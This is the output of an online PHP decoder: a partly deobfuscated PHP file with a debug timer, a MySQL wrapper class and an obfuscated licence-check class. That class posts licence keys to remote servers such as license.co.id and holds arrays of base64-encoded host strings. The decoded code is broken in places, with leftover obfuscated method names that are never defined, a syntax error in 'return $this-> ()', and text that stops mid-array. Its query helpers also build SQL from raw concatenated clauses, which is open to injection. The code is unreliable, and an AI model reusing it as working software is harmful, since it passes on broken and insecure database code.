Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class debug { public function starttimer() { $mtime = microtime(); $mt..

Decoded Output download

<?php 
 
class debug 
{ 
	public function starttimer() 
	{ 
		$mtime = microtime(); 
		$mtime = explode(' ', $mtime); 
		$mtime = $mtime[1] + $mtime[0]; 
		$starttime = $mtime; 
		return $starttime; 
	} 
 
	public function endtimer() 
	{ 
		global $starttime; 
		$mtime = microtime(); 
		$mtime = explode(' ', $mtime); 
		$mtime = $mtime[1] + $mtime[0]; 
		$endtime = $mtime; 
		$totaltime = round($endtime - $this->starttimer(), 5); 
		return $totaltime; 
	} 
} 
 
class mysql 
{ 
	private $db = null; 
	private $query = null; 
	private $result = null; 
	private $row = null; 
	private $debug = null; 
 
	public function connect() 
	{ 
		global $db_host; 
		global $db_port; 
		global $db_username; 
		global $db_password; 
		global $db_name; 
		$this->db = mysqli_connect($db_host, $db_username, $db_password); 
 
		if (!$this->db) { 
			$this->fatalerror(); 
			return false; 
		} 
		else { 
			mysqli_select_db($this->db, $db_name); 
		} 
 
		if (!mysqli_select_db($this->db, $db_name)) { 
			$this->fatalerror(); 
			return false; 
		} 
 
		return true; 
	} 
 
	public function execute($query) 
	{ 
		$this->connect(); 
		$this->query = $query; 
		$this->result = mysqli_query($this->db, $this->query); 
	} 
 
	public function get_row() 
	{ 
		if ($this->row = mysqli_fetch_array($this->result, MYSQLI_NUM)) { 
			return $this->row; 
		} 
		else { 
			return false; 
		} 
	} 
 
	public function get_array() 
	{ 
		if ($this->row = mysqli_fetch_array($this->result, MYSQLI_ASSOC)) { 
			return $this->row; 
		} 
		else { 
			return false; 
		} 
	} 
 
	public function get_object() 
	{ 
		if ($this->row = mysqli_fetch_object($this->result, MYSQLI_ASSOC)) { 
			return $this->row; 
		} 
		else { 
			return false; 
		} 
	} 
 
	public function get_dataset() 
	{ 
		$dataset = []; 
 
		for ($i = 0; $qry = mysqli_fetch_row($this->result); ++$i) { 
			$field = 0; 
 
			for ($field = 0; $field < mysqli_num_fields($this->result); ++$field) { 
				$dataset[$i][$field] = $qry[$field]; 
			} 
		} 
 
		return $dataset; 
	} 
 
	public function get_datarray() 
	{ 
		$datarray = []; 
 
		for ($i = 0; $data = mysqli_fetch_array($this->result); ++$i) { 
			$datarray[$i] = $data; 
		} 
 
		return $datarray; 
	} 
 
	public function get_fetch_row() 
	{ 
		if ($this->row = mysqli_fetch_row($this->result, MYSQL_ASSOC)) { 
			return $this->row; 
		} 
		else { 
			return false; 
		} 
	} 
 
	public function get_num_rows() 
	{ 
		$this->num_rows = mysqli_num_rows($this->result); 
		return $this->num_rows; 
	} 
 
	public function close_connection() 
	{ 
		mysqli_close($this->db); 
	} 
 
	public function get_mysql_id() 
	{ 
		return mysqli_insert_id($this->db); 
	} 
 
	public function set_debug_mode($int = 0) 
	{ 
		$this->obj['debug'] = (int) $int; 
 
		if ($this->obj['debug']) { 
			$this->obj['use_shutdown'] = 0; 
		} 
	} 
 
	public function fatalerror($the_error = '') 
	{ 
		$the_error .= "

" . 'MySQL Server Error : ' . mysqli_error() . "
"; 
		$the_error .= 'MySQL Server Error Code : ' . mysqli_errno() . "
"; 
		$the_error .= 'Current Date : ' . date('l dS of F Y h:i:s A'); 
		$out = "
		" . '<html>' . "
			" . '<head>' . "
			" . '<title>Database Error' . "
			" . '<style>P,BODY,blockquote{ font-family: \'courier new\',\'trebuchet ms\',tahoma,verdana; font-size:12px; }</style>' . "
			" . '</head>' . "
			" . '<body>' . "
				" . '<br /><br />' . "
			" . '<blockquote>' . "
				" . '<b>There appears to be an error with the database.</b> | ' . "
				" . 'You can try to refresh the page by clicking <a href="javascript:window.location=window.location;">here</a>.' . "
				" . '<br /><br />' . "
				" . '<b style="font-family:\'Courier New\'; font-size:16px; font-style:normal;">Error Returned</b>' . "
				" . '<br />' . "
				" . '<form name=\'mysql\'>' . "
				" . '<textarea rows="10" cols="60" style="font-family:\'Courier New\' !important;font-size:12px;width:100%;">' . "
				" . htmlspecialchars($the_error) . "
				" . '</textarea>' . "
				" . '</form>' . "
				" . '<br />' . "
				" . 'We apologise for any inconvenience | Please Contact <b><a href="mailto:[email protected]">The Programer</a></b>' . "
			" . '</blockquote>' . "
			" . '</body>' . "
		" . '</html>'; 
		echo $out; 
		exit(''); 
	} 
 
	public function query($query, $contype = 'mysqli_query') 
	{ 
		if ($this->obj['debug']) { 
			global $debug; 
			$debug->starttimer(); 
		} 
 
		$this->queryid = $contype($query, $this->connection_id); 
 
		if ($this->obj['debug']) { 
			$endtime = $debug->endtimer(); 
 
			if (preg_match('/^select/i', $query)) { 
				$eid = mysqli_query('EXPLAIN ' . $query . '', $this->connection_id); 
 
				while ($array = mysqli_fetch_array($eid)) { 
					echo "
					" . '<h3>sql debug</h3>' . "
					" . 'table: ' . $array['table'] . '<br />' . "
					" . 'query: ' . $query . '<br />' . "
					" . 'type: ' . $array['type'] . '<br />' . "
					" . 'mysql time : ' . $endtime . '<br /><br />' . "
				"; 
				} 
			} 
		} 
		else { 
			++$this->querycount; 
			return $this->queryid; 
		} 
	} 
 
	public function Random($arr) 
	{ 
		return $arr[array_rand($arr)]; 
	} 
 
	public function sql_select_tbl($tbl, $where = '', $order = '', $limit = '') 
	{ 
		if ($where != '') { 
			$rwhere = 'WHERE ' . $where; 
		} 
		else { 
			$rwhere = ''; 
		} 
 
		if ($order != '') { 
			$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = 'ORDER BY ' . $order; 
		} 
		else { 
			$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = ''; 
		} 
 
		if ($limit != '') { 
			$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = 'LIMIT ' . $limit; 
		} 
		else { 
			$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = ''; 
		} 
 
		$this->execute('SELECT * FROM `' . $tbl . '` ' . $rwhere . ' ' . $obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE . ' ' . $obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE . ''); 
		$qry = $this->obf_4uihoiRj6abtLOhqsCUlJ8roW0jIE(); 
		return $qry; 
	} 
 
	public function sql_update_tbl($db, $rl = '', $wh = '') 
	{ 
		if ($rl != '') { 
			$rule = 'SET ' . $rl; 
		} 
		else { 
			$rule = ''; 
		} 
 
		if ($wh != '') { 
			$where = 'WHERE ' . $wh; 
		} 
		else { 
			$where = ''; 
		} 
 
		$this->execute('UPDATE `' . $db . '` ' . $rule . ' ' . $where . ''); 
	} 
 
	public function sql_insert_tbl($db, $rl = '', $vl = '') 
	{ 
		$this->execute('INSERT INTO `' . $db . '` ' . $rl . ' ' . $vl . ''); 
		return $this-> (); 
	} 
} 
 
class obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE 
{ 
	public function CyberNetWeb() 
	{ 
		global $MySQL; 
		$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESldLRXhYSkhZbU0xSndLbTBtZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkptMVdlbHBYZUhOYVdFbDBYa2M1ZWtCSGJIVmFlVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrZFdhMTVYVGlSQVIxWnJURmhPYkNadVdtd21LREYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSjRka0JYVVhSQWJrSjZURmN4TVNadFJtOU1kejA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqTk9jMHhYVG13bWJsSndXbTFzS1ZsWVVtd21lVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrYzVkRmxYYkhWTVZ6VWtLbGRWZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3eU1YWmFTRlp6V2xNeGJsbFlTbXRhVnpSMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOHFWMDU2VEZjeGRscElWbk5hVXpnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOVpXRko2V1ZoQ2QweFhNWFphU0ZaeldsTTRQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldWZEtka0JZVVhSWk0yd29XbGhLZFZwWVVYUmVXRkYwSmpJNWMwQllVbkFxTWpWNlRIYzlQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFFZFdlU3BUTVhaYUtERjZXbGhLTWw1WFRtd21lVGc5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqSldlVUJ0YkNsYVV6RnpXbGhhYkNwRE1TUmFNMHBzV2xjeGJDcHVVWFk9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldtNUtiQ1pZVm13cWJsSnpJMU14SkNZeWRHeGFRekY0UUZkV2VrQkhiSFlxYmsxMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpraEtjRUJ0UmlralV6RjNLako0Y0ZremEzWT0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSTVkVUJIUmlsQVF6RXhKbms0UFE9PSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRREpXS0V4WEpIWW1NMUp3S20wbVBRPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKbTFXZWxwWGVITmFXRWwwWGtjNWVrQkhiSFZhZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKak5PYzB4WFRtd21ibEp3V20xc0tWbFlVbXdtZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJLbGM1YTBCWGVHeE1WMEFrSm0xU2JDb2xQVDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRRElrZEZrelRYUXFWemxyUUZkNGJBPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkbDR5TlhaQU1uaHNXa2RBYkZsdFJucGFVVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGwwS2pKU01TcEhWWFJhTWtaNVdrZFdkVXgzUFQwPSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGt6WGtjeEtTWjVNWFFxTWxJeEtrZFZkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd5VG5ZcWJsSjVLakozZENaSFJuVmFWM2QyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGlwWE9XdEFWM2hzVEZkQUpDWnRVbXdxS0RnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGtBeUpIUlpNMDEwS2xjNWEwQlhlR3hNZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprcEtqSTFNQ1p0T1hOTVdFSWtLbTFXYzB4M1BUMD0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbHBIT1hSWlYyeDFURmMxSkNwWFZubz0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVNFcDJLa014ZDFsWE5Xd3FRVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkaXBYT1d0QVYzaHNKbmt4YmxsWVNtdGFWelE5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVIwWXBRRU14TVNaM1BUMD0i']; 
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE()); 
	} 
 
	public function VarFrom() 
	{ 
		return ['f', 'c', 'b', 'i', 'd', 'e', 'h', 'g', 'a', 'j']; 
	} 
 
	public function VarTo() 
	{ 
		return ['!', '&', '*', '(', '@', '#', '$', '%', '^', ')']; 
	} 
 
	public function UrlBaseAuth() 
	{ 
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IldWaFdNRjVIT1hsZVdIQnNUSGM5UFE9PSI=', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE()); 
	} 
 
	public function CurlPostData($url_server = '', $license_key = '') 
	{ 
		$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_75s42Xr7GsiJKijJytkpGinrWqrLE(); 
		$ch = curl_init($url); 
		$data = ['license_key' => '' . $license_key . '']; 
		$payload = json_encode($data); 
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); 
		curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
		$result = curl_exec($ch); 
		return $result; 
		curl_close($ch); 
	} 
 
	public function CurlPostDataSecret($url_server = '', $module = '', $version = '') 
	{ 
		$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_56ynLebmpWirZ6KoYm1uqqrh8CvrIE(); 
		$ch = curl_init($url); 
		$data = ['module' => '' . $module . '', 'version' => '' . $version . '']; 
		$payload = json_encode($data); 
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); 
		curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
		$result = curl_exec($ch); 
		return $result; 
		curl_close($ch); 
	} 
 
	public function Usr_Dec($data_decoded, $from = '', $to = '') 
	{ 
		return base64_decode(str_replace($to, $from, base64_decode(json_decode(base64_decode($data_decoded), true)))); 
	} 
 
	public function LicenseKey() 
	{ 
		$modulename = $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE(); 
		$file = $this->getdirectory() . '/license.php'; 
		$fileRename = $this->getdirectory() . '/license_RENAME.php'; 
		if (!file_exists($file) && file_exists($fileRename)) { 
			exit($modulename . ': Unable to find ' . $file . ' file. Please rename file license_RENAME.php to license.php'); 
		} 
 
		if (!file_exists($file)) { 
			exit('Unable to find ' . $file . ' file.'); 
		} 
 
		$keyName = $modulename . '_licensekey'; 
		$content = file_get_contents($file); 
		$matches = []; 
		preg_match('/' . $keyName . '\s?=\s?\"([A-Za-z0-9_]+)\"/', $content, $matches); 
		$key = $matches[1]; 
 
		if (!$key) { 
			exit('Invalid License Content'); 
		} 
 
		return $key; 
	} 
 
	public function GetProtocol() 
	{ 
		$url = 'https://license.co.id/authorize/protocol'; 
		$ch = curl_init($url); 
		$data = ['remote' => '1']; 
		$payload = json_encode($data); 
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
		$result = curl_exec($ch); 
		curl_close($ch); 
		$hasil = json_decode($result); 
 
		if (trim($hasil) == '1') { 
			$data = 'https://'; 
		} 
		else { 
			$data = 'http://'; 
		} 
 
		return $data; 
	} 
 
	public function RemoteHost() 
	{ 
		global $MySQL; 
		$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlFETkFNMHh0ZUhCWk1sWjFKakpWZFZreU9IVmVWMUYyIg==', 'IktrZHNLVnBYTlhwYVV6VXBLbmsxY0ZwRE9EMD0i', 'IkpqSldlVUJ0Vm5sTVYwWXhKbTFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tJMjFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwWTJKbTFHYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tKa2NrSkZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwQWtXVzVLY0ZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6RnNKbTFPTVNadWEzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGcHNLbTVXZWt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYxWWtKbTVTYjB4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVZ6RWtKbTVOZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVYzQXhKa2RzTUZwWVNYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFNGtRRWhXZVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGWjVXVmMxTVNaNU5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6VnNKa2hTTVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFSnpRRmhTZGt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYwWnpXa2hLY0ZreUpYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFcHZXbGRGZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVdFSWtLbTV3YkNZb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 